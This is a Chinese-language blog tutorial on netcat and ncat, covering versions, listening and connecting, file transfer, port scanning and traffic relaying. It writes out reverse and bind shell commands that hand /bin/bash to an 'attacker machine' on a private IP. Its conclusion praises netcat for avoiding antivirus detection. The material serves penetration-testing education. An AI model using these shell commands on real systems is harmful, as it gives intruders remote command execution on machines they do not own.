Netcat - 你需要知道的一切
yuyutoo 2025-01-20 17:49 4 浏览 0 评论
更多互联网精彩资讯、工作效率提升关注【飞鱼在浪屿】(日更新)
Netcat 是一种网络间连接和读写数据的工具,使用 TCP 或 UDP 协议。Netcat 被称为 TCP/IP/网络瑞士军刀。本文研究 netcat 的不同应用,以及如何在渗透测试、安全专家、系统管理员等的日常使用中发挥作用……
netcat 有多种版本,但大多数核心功能和命令行选项都非常相似。Netcat 最初是为 Unix 编写的,我们将看到的版本是基于 linux 的,此外你还可以找到 Windows版的 netcat。
Netcat Traditional
Netcat Traditional 是最初的版本。这不会预先安装,使用apt search netcat在ubuntu/debian 的机器上搜索,显示为netcat 或 netcat-traditional。
要安装它,您可以运行sudo apt install netcat-traditional或通过从源代码编译,可以从项目页面https://nc110.sourceforge.io/ 获取。
GNU版本
GNU Netcat 是对原始 netcat 的重写,具有新功能并完全符合 GNU 的可移植性。它似乎也不再维护,因为它的最新版本是 2004 年的 0.7.1。
Netcat OpenBSD
Netcat OpenBSD 版本是对原始 netcat 的重写,包括对 IPv6、代理和 unix 套接字的支持。除了这些增强功能之外。
这个版本是最常见的,默认安装在 ubuntu 发行版。
通过apt search netcat在 ubuntu 机器上运行,显示为 netcat-openbsd 包。
运行sudo apt install netcat-openbsd安装 netcat 后,它会符号链接到 nc 和 netcat。我们可以通过检查 nc 和 netcat 的 realpath 来看到这一点。
可以通过运行查看可用的命令行选项netcat -h。
ncat
Ncat 是对 nmap 项目 netcat 的重新实现。此版本功能更加丰富和改进。
安装 nmap,也会安装 ncat,这适用于 windows 和 linux。然后可以运行ncat -h以查看可用的命令行选项。
我们将关注 2 个最新的版本,netcat-openbsd和ncat,因为它们是最近维护和更新的。
服务器/客户端模式
服务器模式
在服务器模式下,使用 netcat 来侦听连接。这样做是在系统上打开一个端口(tcp 或 udp)。
默认情况下,netcat 侦听 tcp。以下命令将侦听端口 8080 上的所有接口。
nc -lvnp 8080
要指定要侦听的接口,例如 localhost,使用以下语法
nc -s 127.0.0.1 -lvnp 8080
// 也可以写成:
ncat -lvn 127.0.0.1 8080
监听 udp 的语法与 tcp 类似,加上-u 选项。
nc -l -u -v -n -p 8080
命令行选项可以组合在一起使用或分开使用。
客户端模式
在客户端模式下,可以使用 netcat 连接到系统上的开放端口。这用来手动检查服务或仅检查端口是否打开。
对于在端口 8080 上连接到 IP 127.0.0.1 时的 tcp 连接,语法如下。
nc -vn 127.0.0.1 8080
对于 udp 连接,添加 -u 选项。
nc -uvn 127.0.0.1 8080
反向Shell/绑定Shell
反向 shell 和绑定 shell 在渗透测试中非常流行,并且使用 netcat容易实现。
使用的命令仅适用于 ncat、netcat traditional和 gnu netcat。Netcat OpenBSD 没有这个特性,因为它认为这个功能是一个安全风险。
对于反向 shell,我们在服务器模式下使用 netcat 来侦听连接,然后从客户端提供 shell。这将允许服务器上的会话在收到 shell 后在客户端上运行命令。从渗透测试的角度来看,服务器是攻击者机器,客户端是受害者机器。
服务器(攻击者机器)
nc -lvnp 8080
客户端(受害者机器)
nc -e /bin/bash 192.168.125.10 8080
绑定贝壳
对于绑定 shell,服务器模式下的 netcat 侦听连接并将 shell 进程提供给任何连接的客户端。然后以客户端模式运行的 Netcat 可以连接到服务器并获得对服务器的 shell 访问并运行命令。从渗透测试的角度来看,服务器是受害者机器,客户端是攻击者机器。
服务器(受害者机器)
nc -e /bin/bash -lvnp 8080
客户端(攻击机)
nc 192.168.125.10 8080
文件传输
因为能够在原始连接写入数据,我们可以通过连接将文件从一个系统传输到另一个系统。
我们并不关心哪个是服务器,哪个是客户端,因为传输可以朝任一方向进行,但我们需要先运行监听器。
要通过端口 8080 将 server1 上的文件传输到 server2,可以按如下方式完成:
nc -lvnp 8080 < infile (server1)
nc 192.168.125.10 8080 > outfile (server2)
在相反的方向做同样的事情:
nc 192.168.125.20 8080 < infile (server1)
nc -lvnp 8080 > outfile (server2)
端口扫描
此功能未在 ncat 中实现,但在其他版本中可用。但有一个更好的工具,那就是 nmap。
如果系统有netcat-openbsd并且无法安装 nmap,那么如下运行nc做基本的端口扫描。
nc -nvv -w 1 -z 127.0.0.1 1-1000
要扫描目标上的 UDP 端口,使用以下语法。
nc -nvv -w 1 -z -u 127.0.0.1 1-1000
流量重定向
这仅适用于支持 -e 选项的版本。
以下面的场景为例,server1 不能直接连接到 server3,而只能通过 server2。
server1 <-------------> server2 <-------------> server3
要将流量从 server1 重定向到在端口 8080 上运行在 server3 (192.168.125.40) 上的 Web 应用程序,我们可以在 server2 上执行以下 ncat 命令。
nc -klvnp 8000 -e "/bin/nc 192.168.125.40 8080"
现在,通过访问 server2的端口8000来访问 server3 上的 Web 应用程序。
Ncat 附加功能
从这些功能可以看出安全风险,因为连接上没有加密,因为 netcat 将以最原始的形式写入连接,因此任何嗅探网络的人都可以在外壳和文件传输的情况下捕获未加密的所有流量。对于绑定 shell,没有身份验证,因此任何连接到绑定 shell 正在侦听的端口的人都可以在机器上运行命令。
ncat 时允许使用 ssl 以及访问控制。
加密外壳
添加--ssl到命令中
服务器
nc --ssl -lvnp 8080
客户端
nc --ssl -e /bin/bash 192.168.125.10 8080
访问控制
在服务器模式下使用 netcat 时,该--allow选项可以指定允许连接到端口的主机或网络范围,用于绑定 shell。同样,使用 –deny 拒绝来自特定主机或网络范围的访问。
nc --allow 127.0.0.1 -e /bin/bash -lvnp 8000
上面的命令将绑定 shell 设置为只接受来自本地主机的连接。
结论
Netcat 是用于网络相关活动的非常棒的工具,可以获得反向外壳并且不会被标记为病毒。
参考文献
https://en.wikipedia.org/wiki/Netcat
https://nmap.org/ncat/guide/index.html
http://netcat.sourceforge.net/
https://nc110.sourceforge.io/
https://eternallybored.org/misc/netcat/
相关推荐
- 全局和隐式 using 指令详解(全局命令)
-
1.什么是全局和隐式using?在.NET6及更高版本中,Microsoft引入了...
- 请停止微服务,做好单体的模块化才是王道:Spring Modulith介绍
-
1、介绍模块化单体是一种架构风格,代码是根据模块的概念构成的。对于许多组织而言,模块化单体可能是一个很好的选择。它有助于保持一定程度的独立性,这有助于我们在需要的时候轻松过渡到微服务架构。Spri...
- ASP.NET程序集引用之痛:版本冲突、依赖地狱等解析与实战
-
我是一位多年后端经验的工程师,其中前几年用ASP.NET...
- .NET AOT 详解(.net 6 aot)
-
简介AOT(Ahead-Of-TimeCompilation)是一种将代码直接编译为机器码的技术,与传统的...
- 一款基于Yii2开发的免费商城系统(一款基于yii2开发的免费商城系统是什么)
-
哈喽,我是老鱼,一名致力于在技术道路上的终身学习者、实践者、分享者!...
- asar归档解包(游戏arc文件解包)
-
要学习Electron逆向,首先要有一个Electron开发的程序的发布的包,这里就以其官方的electron-quick-start作为例子来进行一下逆向的过程。...
- 在PyCharm 中免费集成Amazon CodeWhisperer
-
CodeWhisperer是Amazon发布的一款免费的AI编程辅助小工具,可在你的集成开发环境(IDE)中生成实时单行或全函数代码建议,帮助你快速构建软件。简单来说,AmazonCodeWhi...
- 2014年最优秀JavaScript编辑器大盘点
-
1.WebstormWebStorm是一种轻量级的、功能强大的IDE,为Node.js复杂的客户端开发和服务器端开发提供完美的解决方案。WebStorm的智能代码编辑器支持JavaScript,...
- 基于springboot、tio、oauth2.0前端vuede 超轻量级聊天软件分享
-
项目简介:基于JS的超轻量级聊天软件。前端:vue、iview、electron实现的PC桌面版聊天程序,主要适用于私有云项目内部聊天,企业内部管理通讯等功能,主要通讯协议websocket。支持...
- JetBrains Toolbox推出全新产品订阅授权模式
-
捷克知名软件开发公司JetBrains最为人所熟知的产品是Java编程语言开发撰写时所用的集成开发环境IntelliJIDEA,相信很多开发者都有所了解。而近期自2015年11月2日起,JetBr...
- idea最新激活jetbrains-agent.jar包,亲测有效
-
这里分享一个2019.3.3版本的jetbrains-agent.jar,亲测有效,在网上找了很多都不能使用,终于找到一个可以使用的了,这里分享一下具体激活步骤,此方法适用于Jebrains家所有产品...
- CountDownTimer的理解(countdowntomars)
-
CountDownTimer是android开发常用的计时类,按照注释中的说明使用方法如下:kotlin:object:CountDownTimer(30000,1000){...
- 反射为什么性能会很慢?(反射时为什么会越来越长)
-
1.背景前段时间维护一个5、6年前的项目,项目总是在某些功能使用上不尽人意,性能上总是差一些,仔细过了一下代码发现使用了不少封装好的工具类,工具类里面用了好多的反射,反射会影响到执行效率吗?盲猜了一...
- btrace 开源!基于 Systrace 高性能 Trace 工具
-
介绍btrace(又名RheaTrace)是抖音基础技术团队自研的一款高性能AndroidTrace工具,它基于Systrace实现,并针对Systrace不足之处加以改进,核心改进...
你 发表评论:
欢迎- 一周热门
- 最近发表
-
- .NET 奇葩问题调试经历之3——使用了grpc通讯类库后,内存一直增长......
- 全局和隐式 using 指令详解(全局命令)
- 请停止微服务,做好单体的模块化才是王道:Spring Modulith介绍
- ASP.NET程序集引用之痛:版本冲突、依赖地狱等解析与实战
- .NET AOT 详解(.net 6 aot)
- 一款基于Yii2开发的免费商城系统(一款基于yii2开发的免费商城系统是什么)
- asar归档解包(游戏arc文件解包)
- 在PyCharm 中免费集成Amazon CodeWhisperer
- 2014年最优秀JavaScript编辑器大盘点
- 基于springboot、tio、oauth2.0前端vuede 超轻量级聊天软件分享
- 标签列表
-
- mybatis plus (70)
- scheduledtask (71)
- css滚动条 (60)
- java学生成绩管理系统 (59)
- 结构体数组 (69)
- databasemetadata (64)
- javastatic (68)
- jsp实用教程 (53)
- fontawesome (57)
- widget开发 (57)
- vb net教程 (62)
- hibernate 教程 (63)
- case语句 (57)
- svn连接 (74)
- directoryindex (69)
- session timeout (58)
- textbox换行 (67)
- extension_dir (64)
- linearlayout (58)
- vba高级教程 (75)
- iframe用法 (58)
- sqlparameter (59)
- trim函数 (59)
- flex布局 (63)
- contextloaderlistener (56)